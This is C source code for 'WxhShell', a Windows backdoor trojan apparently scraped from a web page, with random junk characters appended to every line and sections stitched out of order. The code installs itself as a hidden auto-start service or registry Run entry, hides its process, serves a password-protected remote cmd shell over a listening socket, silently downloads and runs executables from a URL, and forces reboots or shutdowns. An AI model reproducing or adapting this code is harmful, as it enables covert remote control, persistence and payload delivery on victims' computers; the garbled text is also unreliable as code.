    if(Boot(SHUTDOWN)) g4YlG"O[~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !aKu9SR^e  
    else { |MagK$o  
    closesocket(wsh); f~/hsp~Hp  
    ExitThread(0); 7WY~v2SDF  
    } 1Kr$JIcd  
    break; +-9-%O.(;  
    } D u T6Od/f  
  // 获取shell sv!v`zh  
  case 's': { gsUF\4A(J  
    CmdShell(wsh); !YI<A\P  
    closesocket(wsh); .lM]>y)  
    ExitThread(0); Zu~w:uNmU  
    break; U_;="y  
  } -7'|&zP  
  // 退出 X Q CE`m  
  case 'x': { .p> ".q I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -~4r6ZcA  
    CloseIt(wsh); gs=ok8w  
    break; "C(yuVK1G  
    } Lusd kc7  
  // 离开 ofw&? Sk0  
  case 'q': { <mj/P|P@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lpS v  
    closesocket(wsh); U OGjil{.  
    WSACleanup(); v*FbvrY  
    exit(1); [@JK|50|K  
    break; +u*Pi  
        } O[{/P:a  
  } &/-MUKN  
  } nC!]@lA  
KLj=M;$:K  
  // 提示信息 12?!Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wa{!%qu5.R  
} m#i4_F=^b  
  } e|5@7~Vi  
|yz o|%]3  
  return; -iY-rzW  
} 60 cQ3.e  
f F)M'C  
// shell模块句柄 N ~fE&@-  
int CmdShell(SOCKET sock) i*$~uuY  
{ =wW M\f`=  
STARTUPINFO si; `(`-S md  
ZeroMemory(&si,sizeof(si)); JbJ!,86  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cruBJZr*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =:zPT;K  
PROCESS_INFORMATION ProcessInfo; x X[WX#'f  
char cmdline[]="cmd"; XjP &  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6xwjKh:9  
  return 0; mpCu,l+lo  
} 6({)O1Z  
[]aw;\7}Y  
// 自身启动模式 "Nb2[R  
int StartFromService(void) Y .cjEeL@  
{ 6 C O5:\  
typedef struct 9 nY|S{L  
{ B$YoglEW:  
  DWORD ExitStatus; rx 74v!  
  DWORD PebBaseAddress; 'DNxc  
  DWORD AffinityMask; kB=B?V~#  
  DWORD BasePriority; >)='.aR<  
  ULONG UniqueProcessId; H&%oHyK  
  ULONG InheritedFromUniqueProcessId; TwVkI<e0s?  
}   PROCESS_BASIC_INFORMATION; 8_G6X\q};  
O[eU{ ;P  
PROCNTQSIP NtQueryInformationProcess; 0Zp5y@ V8  
o|vL:| 8Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rXT?w]4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; = $^90Q,Z;  
}*}F_Y+  
  HANDLE             hProcess; ::'Y07  
  PROCESS_BASIC_INFORMATION pbi; q_`j-!  
!bCL/[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `OgT"FdL!  
  if(NULL == hInst ) return 0; <#57q%  
T3<1{"&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CGlEc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O(2c_!d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Eu~1t& 4  
o<txm?+N  
  if (!NtQueryInformationProcess) return 0; ,H,[ )8  
 f+ !J1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "crp/Bj?  
  if(!hProcess) return 0; OFmHj]I7=  
r|*_KQq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9` UbsxFl  
Z<^EZX3N  
  CloseHandle(hProcess); [7~AWZU3  
n1JV)4Mv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +se OoTKR  
if(hProcess==NULL) return 0; MBw;+'93qf  
3**t'iWQ  
HMODULE hMod; G 4~@  
char procName[255]; U1Fo #L  
unsigned long cbNeeded; 4e.19H9  
E`(=n(Qu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =)c-Xz  
_?cum ~A@  
  CloseHandle(hProcess); 3.hFYA w  
^BRqsVw9  
if(strstr(procName,"services")) return 1; // 以服务启动 SCe$v76p#  
r-xP 6  
  return 0; // 注册表启动 WQ8 "Jj?k6  
} @x}^2FE  
*`wz  
// 主模块 ,%N[FZ`|  
int StartWxhshell(LPSTR lpCmdLine) xP9h$!  
{ febn?|@  
  SOCKET wsl; u/S>*E  
BOOL val=TRUE; Sy1O;RTn`  
  int port=0; |[mmEYc  
  struct sockaddr_in door; /5"T46jD  
d0ht*b  
  if(wscfg.ws_autoins) Install(); vY|YqWt  
H lM7^3(&  
port=atoi(lpCmdLine); %HtgZeY  
Z|N$qm}  
if(port<=0) port=wscfg.ws_port; ~$C<^?"b  
Gos# =H  
  WSADATA data; Y@#N_]oXj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AkW>*x  
BY[7`@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WjK[% ;Z!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O$e"3^Pa  
  door.sin_family = AF_INET; ",vK~m2W_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z80FMulO  
  door.sin_port = htons(port); [xrsa!$   
7}~w9jK"F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [ 't.x=  
closesocket(wsl); ::#[lw  
return 1; N\Lu+ x5  
} .;Gx.}ITG6  
7=u Gf$/  
  if(listen(wsl,2) == INVALID_SOCKET) { 0asP,)i  
closesocket(wsl); {D..(f1*u  
return 1; 3(t,x  
} z#PaQp5F  
  Wxhshell(wsl); jVN06,3z  
  WSACleanup(); NQ[X=a8N  
ZYY2pY 1  
return 0; |94o P>d  
G rU`;M"  
} D84&=EpVZ  
Q4LPi;{\  
// 以NT服务方式启动 ;zo|. YD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cAwqIihZ  
{ nh@JGy*L  
DWORD   status = 0; u=W[ S)w  
  DWORD   specificError = 0xfffffff; Dqc GzTz  
D]*|Zmr+}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }i^|.VZZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VY8cy2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^t7u4w!  
  serviceStatus.dwWin32ExitCode     = 0; B|"i`{>  
  serviceStatus.dwServiceSpecificExitCode = 0; i.Y2]1  
  serviceStatus.dwCheckPoint       = 0; hF@%k ;I  
  serviceStatus.dwWaitHint       = 0; zng.(]U/?H  
=fnBE`Uc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n YUFRV$  
  if (hServiceStatusHandle==0) return; r5nHYV&7  
-2[4 @  
status = GetLastError(); BgT ^  
  if (status!=NO_ERROR) et)n`NlcK  
{ TB.>?*<n]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *'A*!=5(  
    serviceStatus.dwCheckPoint       = 0; 'SlZ-SdR  
    serviceStatus.dwWaitHint       = 0; 1 /{~t[*.  
    serviceStatus.dwWin32ExitCode     = status; `Ji WS  
    serviceStatus.dwServiceSpecificExitCode = specificError; =Hd#"9-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^JMG'@x  
    return; |,oLZC Na  
  } k;t G-~\d  
EwV$2AK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V~/-e- 9u  
  serviceStatus.dwCheckPoint       = 0; ,C><n kx  
  serviceStatus.dwWaitHint       = 0; ~!PWJ~U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L YB @L06a  
} 'V:MppQVZ.  
B?-w<":!  
// 处理NT服务事件,比如:启动、停止 F$ G)vskd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '5$@ I{z  
{ =gR/ t@Ld  
switch(fdwControl) |k*bWuXgLs  
{ <W8 %eRfU  
case SERVICE_CONTROL_STOP: -`\^_nVC  
  serviceStatus.dwWin32ExitCode = 0; {'M/wT)FeC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YQHpW>z  
  serviceStatus.dwCheckPoint   = 0; ^c}3o|1m(  
  serviceStatus.dwWaitHint     = 0; ?uL-qsU  
  { H.;}%id  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q[NoFZ V!  
  } ~>9G\/u j  
  return; !\1)?&y9j  
case SERVICE_CONTROL_PAUSE: jR[c3EA ;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2>k*9kyp  
  break; 25vjn 1$sW  
case SERVICE_CONTROL_CONTINUE: 98 5h]KQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IaSPwsvt'  
  break; RDHK'PGA  
case SERVICE_CONTROL_INTERROGATE: )mwwceN  
  break; pA_u;*  
}; Hqs-q4G$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gAztdA sLM  
} N_B^k8j  
q|]CA  
// 标准应用程序主函数 W =Bw*o-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KyVzf(^  
{ BRY/[QRqZ  
`|AH3v1  
// 获取操作系统版本 3]JJCaf  
OsIsNt=GetOsVer(); ."BXA8c;A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;4b=/1M'  
^ /G ;  
  // 从命令行安装 S{&%tj~U  
  if(strpbrk(lpCmdLine,"iI")) Install(); hO.b?>3NL  
Fy E#@ R  
  // 下载执行文件 e/+.^ '{  
if(wscfg.ws_downexe) { GU/P%c/V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +3zQ"lLD^  
  WinExec(wscfg.ws_filenam,SW_HIDE); *@#Gc%mGu  
} N]iarYc  
ETU-6qFtO  
if(!OsIsNt) { B%Qo6*b  
// 如果时win9x,隐藏进程并且设置为注册表启动 !=,zy  
HideProc(); ]W Yub1  
StartWxhshell(lpCmdLine); ?K2EK'-q  
} t~K[`=G\ex  
else GEVDXx>@  
  if(StartFromService()) l\AdL$$Mb  
  // 以服务方式启动 r`Fs"n#^-4  
  StartServiceCtrlDispatcher(DispatchTable); Tb2#y]27  
else psIo[.$rTk  
  // 普通方式启动 j96}E/gF  
  StartWxhshell(lpCmdLine); 4V,p\$;  
}qp)VF  
return 0; 7Rtjm  
} 6g#yzex  
7.G"U  
?b(wZ-/  
PbvA~gm  
=========================================== s=jH1^  
MmvJ)|&t  
<h#W*a  
l(Hz9  
H"w;~;h  
ydOG8EI  
" Oj%5FUP~[%  
'Y ,2CN  
#include <stdio.h> x5PM ]~"p  
#include <string.h> ,Il) tH  
#include <windows.h> ^}vf  
#include <winsock2.h> ZEDvY=@a   
#include <winsvc.h> q+8de_"]  
#include <urlmon.h> 2Uf/'  
G/3T0d+-  
#pragma comment (lib, "Ws2_32.lib") [6g$;SicT  
#pragma comment (lib, "urlmon.lib") 4Lk<5Ho  
Dl0{pGK~  
#define MAX_USER   100 // 最大客户端连接数 Z~94<*LEp  
#define BUF_SOCK   200 // sock buffer fNx!'{o"  
#define KEY_BUFF   255 // 输入 buffer ;?iu@h  
@ls/3`E/5E  
#define REBOOT     0   // 重启 fATVAv  
#define SHUTDOWN   1   // 关机 @?]>4+Oa0  
1@LUxU#Uu$  
#define DEF_PORT   5000 // 监听端口 {Z <`@\K3  
D[]0/+,  
#define REG_LEN     16   // 注册表键长度 ipGxi[Vav  
#define SVC_LEN     80   // NT服务名长度 9wf"5c  
ZZHQ?p-  
// 从dll定义API Tzj v-9^V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +Z_VF30pa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); alzdYiGf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G~&8/ s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 58HAl_8W  
[ t8]'RI%  
// wxhshell配置信息 J{a9pr6  
struct WSCFG { ;q%z\gA  
  int ws_port;         // 监听端口 JBc*m  
  char ws_passstr[REG_LEN]; // 口令 u Uq= L  
  int ws_autoins;       // 安装标记, 1=yes 0=no oBub]<.J  
  char ws_regname[REG_LEN]; // 注册表键名 { )b  
  char ws_svcname[REG_LEN]; // 服务名 -:r<sv$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0>-}c>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ex]Ku  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xuqG)HthRS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4/*@cW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |%XcI3@*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |[#Qk 4Ttf  
%o\+R0K  
}; [+A]E,pv]1  
WB'1_a  
// default Wxhshell configuration {=d}04i)E"  
struct WSCFG wscfg={DEF_PORT, x.pg3mVd>  
    "xuhuanlingzhe", J1gnR  
    1, ,2FI?}+R  
    "Wxhshell", 6/g 82kqpk  
    "Wxhshell", se>\5k  
            "WxhShell Service", pd,d"+  
    "Wrsky Windows CmdShell Service", +]wM$bP  
    "Please Input Your Password: ", g#6R(  
  1, FaWc:GsfB  
  "http://www.wrsky.com/wxhshell.exe", znWB.H  
  "Wxhshell.exe" TT3GGHR  
    }; \BfMCA/  
+CSv@ />3  
// 消息定义模块 F}[!OYyg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /4 Kd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zHNBX Rx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  yoe@]c=  
char *msg_ws_ext="\n\rExit."; RSB+Saf.8  
char *msg_ws_end="\n\rQuit."; GJS(  
char *msg_ws_boot="\n\rReboot..."; hCgk78O?  
char *msg_ws_poff="\n\rShutdown..."; H*N{4zBB  
char *msg_ws_down="\n\rSave to "; as/PM"  
_~umE/tz  
char *msg_ws_err="\n\rErr!"; `h :!^"G  
char *msg_ws_ok="\n\rOK!"; 2Rwd\e.z  
`) ],FE*:  
char ExeFile[MAX_PATH]; sieC7raO  
int nUser = 0; 9qGba=}Ey  
HANDLE handles[MAX_USER]; :,$"Gk  
int OsIsNt; :nl,A c  
sEfT#$ a^8  
SERVICE_STATUS       serviceStatus; 6pC1C.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Vz-q7*o $S  
z"QtP[_m  
// 函数声明 PC255  
int Install(void); Z'5&N5hx  
int Uninstall(void); s7:_!Nd@8  
int DownloadFile(char *sURL, SOCKET wsh); vy={ziJ  
int Boot(int flag); "u$XEA  
void HideProc(void); 87S,6Y  
int GetOsVer(void); x}WP1YyT~  
int Wxhshell(SOCKET wsl); (igB'S5wf  
void TalkWithClient(void *cs); >fT%CGLC0  
int CmdShell(SOCKET sock); X6t9*|C  
int StartFromService(void); #J5_z#-Q;  
int StartWxhshell(LPSTR lpCmdLine); KMqGWO*  
/f oI.S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D(<0tU^[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L"S2+F)n  
B2LXF3#/  
// 数据结构和表定义 ^ )!eiM  
SERVICE_TABLE_ENTRY DispatchTable[] = 8sI$  
{ XMP4YWuVc  
{wscfg.ws_svcname, NTServiceMain}, #^aa&*<D_  
{NULL, NULL} sc# EL~  
}; G*%U0OTi  
H)&iFq  
// 自我安装 hz<TjWXv'  
int Install(void) : #n>Q1}x  
{ Tw*p^rU  
  char svExeFile[MAX_PATH]; 7042?\\=  
  HKEY key; a ^juZ  
  strcpy(svExeFile,ExeFile);  H4YA  
&~B8~U4%  
// 如果是win9x系统,修改注册表设为自启动 >X:!Y[N  
if(!OsIsNt) { K]yWpW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UpSJ%%.n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !5[SNr3^  
  RegCloseKey(key); /$\8?<Pc".  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6;!)^b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #s>'IPc0  
  RegCloseKey(key); o.zP1n|G~r  
  return 0; 4!96k~d}  
    } Nq9M$Nt]  
  } 6r@>n_6LY  
} EASmB  
else { ; 5[W*,7s  
^liW*F"UY  
// 如果是NT以上系统,安装为系统服务 L+@X]O W8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3q@JhB  
if (schSCManager!=0) (ToD u@p  
{ ]WcN6|b+  
  SC_HANDLE schService = CreateService w0H#M)c  
  ( .EjR<UU  
  schSCManager, )^6Os2  
  wscfg.ws_svcname, Kf$(7FT'`  
  wscfg.ws_svcdisp, L5|g \Y`  
  SERVICE_ALL_ACCESS, r>*+d|c 4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^Ojg}'.Ygv  
  SERVICE_AUTO_START, `pDTjJ  
  SERVICE_ERROR_NORMAL, 9CN'2 9c  
  svExeFile, B` +, 8  
  NULL, FK-q-PKO#.  
  NULL, jpW_q+^?  
  NULL, gyh8  
  NULL, V=1zk-XC  
  NULL jr#*;go  
  ); x`IWo:j  
  if (schService!=0) 5~2_wWjX  
  { 3a ZS1]/  
  CloseServiceHandle(schService); mtE+}b@(!&  
  CloseServiceHandle(schSCManager); CS-jDok  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ar?ZUASJ  
  strcat(svExeFile,wscfg.ws_svcname); _T8S4s8q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9^Web~yi#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MI:%Eq  
  RegCloseKey(key); nr}Ols  
  return 0; *W,[k&;:  
    } Hmx.BBz  
  } uKD }5M?{  
  CloseServiceHandle(schSCManager); ,D<U PtPQ  
} 2@ZRz%(Oa&  
} KPjAk  
/PR 4ILed  
return 1; \>n[x; $  
} VTyj<6Y  
O1DUBRli!q  
// 自我卸载 yxf #@Je"  
int Uninstall(void) )z4eRs F|  
{ utC^wA5U~  
  HKEY key; 7 &%#bMnw  
l2dj GZk  
if(!OsIsNt) { cF9oo%3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C6@*l~j  
  RegDeleteValue(key,wscfg.ws_regname); ^mC,Z+!  
  RegCloseKey(key); L8 NZU*"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FDGG$z?>m  
  RegDeleteValue(key,wscfg.ws_regname); !g=b=YK  
  RegCloseKey(key); s&$e}yxVO  
  return 0; = 8y,7u)  
  } G^dzE/ :  
} Z d@B6R  
} E?BF8t_fTE  
else { hy$VG%b;#  
OP-{76vE&b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \6"=`H0}  
if (schSCManager!=0) +bJ~S:[  
{ #,XZ@u+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aX |(%1r  
  if (schService!=0) (FgX9SV]p9  
  { ZB/1I;l`c  
  if(DeleteService(schService)!=0) { kDM?`(r  
  CloseServiceHandle(schService); U&a(WQV9&  
  CloseServiceHandle(schSCManager); 87!m l  
  return 0; T*8K.yw2  
  } 8HIX$OX>2  
  CloseServiceHandle(schService); $}z/BV1I  
  } &k-NDh3  
  CloseServiceHandle(schSCManager); hH%fWB2(  
} p1 HbD`ST  
} >dD$GD{  
cN&:V2,  
return 1; C|3cQ{  
} ZBN,%P!P0  
72*j6#zS  
// 从指定url下载文件 KMQPA>w#  
int DownloadFile(char *sURL, SOCKET wsh) eL}X().  
{ Q |S>C%4?  
  HRESULT hr; BS?$eai@:9  
char seps[]= "/"; bz~aj}"`  
char *token; " *W# z  
char *file; [fo#){3K  
char myURL[MAX_PATH]; zfg+gd)Z  
char myFILE[MAX_PATH]; @M'qi=s*  
ib!TXWq  
strcpy(myURL,sURL); A:yql`&s  
  token=strtok(myURL,seps); Qc PU{#6  
  while(token!=NULL) NPM2qL9&J  
  { >Q[ Z{  
    file=token; |k%1mE(+=s  
  token=strtok(NULL,seps); 5 ddfdIp  
  } Ld/6{w4ir  
}:;UnE}  
GetCurrentDirectory(MAX_PATH,myFILE); u&UmI-}  
strcat(myFILE, "\\"); {9x>@p/  
strcat(myFILE, file); KT>Y^  
  send(wsh,myFILE,strlen(myFILE),0); l+hOD{F4pS  
send(wsh,"...",3,0); Em5,Zr_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |3Oyg?2  
  if(hr==S_OK) ZU+_nWnl  
return 0; 6PS[OB{3  
else SBDGms  
return 1; Q7<VuXy  
U|\ .)h=  
} 8c_X`0jy  
[/VpvQ'  
// 系统电源模块 X-,oL.:c  
int Boot(int flag) RO%M9LISI  
{ !y'>sAf  
  HANDLE hToken; o90g;Vog  
  TOKEN_PRIVILEGES tkp; Fa v++z  
M5t.l (  
  if(OsIsNt) { S $o1Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B'`25u_e<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MV!d*\  
    tkp.PrivilegeCount = 1; ;FF+uK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dga4|7-MY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BGwD{6`U  
if(flag==REBOOT) { kN8B,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?TK`sGy  
  return 0; 5;^1Ab0  
} S?C.:  
else { iF837ng5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h{$k%YJ?  
  return 0; 0( A  ?&  
} T JZ~Rpq  
  } rXE0jTf:a  
  else { <p/2hHfiD  
if(flag==REBOOT) { !IO\g"y~|%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b09xf"D  
  return 0; lcjOBu  
} -qHG*v,  
else { j6XHH&ZEb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m.1-[2{8~  
  return 0; X#ud5h  
} ,r]H+vWS  
} -38"S;M8  
)cZHBG.0H  
return 1; 8TP~=qU  
} '` 2MxRP  
vD?D]8.F~Q  
// win9x进程隐藏模块 $e--"@[Y  
void HideProc(void) z/f._Z(  
{ V@b7$z  
H^@Hco>|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A|:+c*7]  
  if ( hKernel != NULL ) RjPkH$u'Pj  
  { o9]32l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =s]2?m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bM:4i1Z  
    FreeLibrary(hKernel); -o`K/f}d  
  } QJrXn6`  
y"'p#j  
return; KF1iYo>p  
} % -AcA  
wQjYH!u,YZ  
// 获取操作系统版本 ?b{y#du2a  
int GetOsVer(void) f5b|,JJ  
{ 3!fR'L/i  
  OSVERSIONINFO winfo; &0%Z b~ts  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F --b,,  
  GetVersionEx(&winfo); SG|AJ9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ge6S_"  
  return 1; ?< teHFj  
  else :l!sKT?:d!  
  return 0; l>pB\<LL  
} xRhGBb{@s  
R LF6Bc  
// 客户端句柄模块 KB :JVK^<  
int Wxhshell(SOCKET wsl) rr1'| k "  
{ .KC V|x;QW  
  SOCKET wsh; O2p E"8=4Q  
  struct sockaddr_in client; +_cigxpTc  
  DWORD myID; pV  u[  
p5vQ.Ni*\-  
  while(nUser<MAX_USER) X{, mj"(w  
{ ex1!7A!}g  
  int nSize=sizeof(client); ly0L)L]\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &oB*gGRw=7  
  if(wsh==INVALID_SOCKET) return 1; V4ePYud;^  
n_RZ:<Gr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A46q`l9B  
if(handles[nUser]==0) jdu6P+_8n  
  closesocket(wsh); vo\'ycPv  
else  R.HvqO  
  nUser++; b+J|yM<`  
  } z _\L@b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (@xC-*  
?hc=w2Ci  
  return 0; %N ~c9B  
} )e`9U.C  
RMT9tXe*5  
// 关闭 socket 7sOAaWx  
void CloseIt(SOCKET wsh) F9K`N8wlu  
{ )D6 i {I0  
closesocket(wsh); gWa0x-  
nUser--; 5YNAb/! !F  
ExitThread(0); "N=$ =Dy >  
} QK0]9   
eZ]r"_?  
// 客户端请求句柄 /*Q3=Dse]  
void TalkWithClient(void *cs) _BJ:GDz>  
{ A>upT'  
8w:mL^6x  
  SOCKET wsh=(SOCKET)cs; mhhc}dS(H  
  char pwd[SVC_LEN]; 8~-TN1H  
  char cmd[KEY_BUFF]; |^UQVNJ  
char chr[1]; )^s> 21  
int i,j; fg#e*7Odn  
_rIo @v  
  while (nUser < MAX_USER) { {S9gOg  
3?"gfw W  
if(wscfg.ws_passstr) { iBbaHU*V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $3>Rw/,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %po;ih$jr*  
  //ZeroMemory(pwd,KEY_BUFF); S}U_uZ$b  
      i=0; Y 'X!T8  
  while(i<SVC_LEN) { IO"P /Q  
ciml:"nQ  
  // 设置超时 c|9g=DjK  
  fd_set FdRead; a]V8F&)g#  
  struct timeval TimeOut; h~Z &L2V  
  FD_ZERO(&FdRead); zc;kNkV#1Y  
  FD_SET(wsh,&FdRead); 1) 2-UT  
  TimeOut.tv_sec=8; !J#P 'x0  
  TimeOut.tv_usec=0; ^$O(oE(D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9D=X3{be#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /ZabY  
|g^YD;9s.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G`0{31us  
  pwd=chr[0]; rCA!b"C2  
  if(chr[0]==0xd || chr[0]==0xa) { E.NfVeq  
  pwd=0; RxJbQs$Ph  
  break; XfVdYmii  
  } UMd.=HC L  
  i++; fcF|m5  
    } C za }cF  
S>(xx"Ia  
  // 如果是非法用户,关闭 socket H.{Fw j4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ay qs~&{  
} 4C_1wk('  
5!Y\STn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IO8 @u;&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %u&Vt"6m=  
tyW[i8)O}  
while(1) { 2D"my]FnF  
`V V >AA5  
  ZeroMemory(cmd,KEY_BUFF); iz/CC V L  
*'aJO }$  
      // 自动支持客户端 telnet标准   +,)k@OI  
  j=0; >m1b/J3#  
  while(j<KEY_BUFF) { M\CzV$\y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FO_}9<s  
  cmd[j]=chr[0]; WK*tXc_[b  
  if(chr[0]==0xa || chr[0]==0xd) { Y1sK sdV  
  cmd[j]=0; ,#, K_oz  
  break; ?87\_wL/j  
  } jmv=rl>E*  
  j++; J0R{|]W8  
    } @aUNyyVP  
F1$XUos9  
  // 下载文件 k}<H  
  if(strstr(cmd,"http://")) { l }^ziY!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~?b1x+soV  
  if(DownloadFile(cmd,wsh)) ,.*D f)+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ",gVo\^  
  else Z9 ws{8@_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w)vpo/?  
